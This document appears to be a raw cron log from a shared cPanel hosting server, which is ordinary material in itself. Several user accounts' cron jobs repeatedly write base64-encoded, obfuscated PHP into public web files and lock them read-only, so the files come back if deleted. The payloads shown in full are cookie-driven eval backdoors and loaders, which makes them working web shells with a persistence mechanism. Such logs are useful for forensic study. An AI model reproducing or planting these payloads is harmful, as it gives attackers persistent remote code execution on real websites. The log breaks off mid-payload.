Jun  7 07:54:01 medusa CROND[32362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:54:01 medusa CROND[32360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:54:01 medusa CROND[32363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:54:01 medusa CROND[32364]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:54:01 medusa CROND[32365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:55:01 medusa CROND[1877]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:55:01 medusa CROND[1898]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1905]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:55:01 medusa CROND[1906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:55:01 medusa CROND[1907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1910]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:55:01 medusa CROND[1909]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:55:01 medusa CROND[1912]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:55:01 medusa CROND[1911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:55:01 medusa CROND[1918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1919]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:55:01 medusa CROND[1920]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1922]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:55:01 medusa CROND[1923]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:55:01 medusa CROND[1930]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:55:01 medusa CROND[1935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:55:01 medusa CROND[1939]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:55:01 medusa CROND[1940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:55:01 medusa CROND[1941]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:55:01 medusa CROND[1928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:55:01 medusa CROND[1952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:56:01 medusa CROND[3763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:56:01 medusa CROND[3772]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:56:01 medusa CROND[3775]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:56:01 medusa CROND[3777]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:56:01 medusa CROND[3778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:56:01 medusa CROND[3784]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAg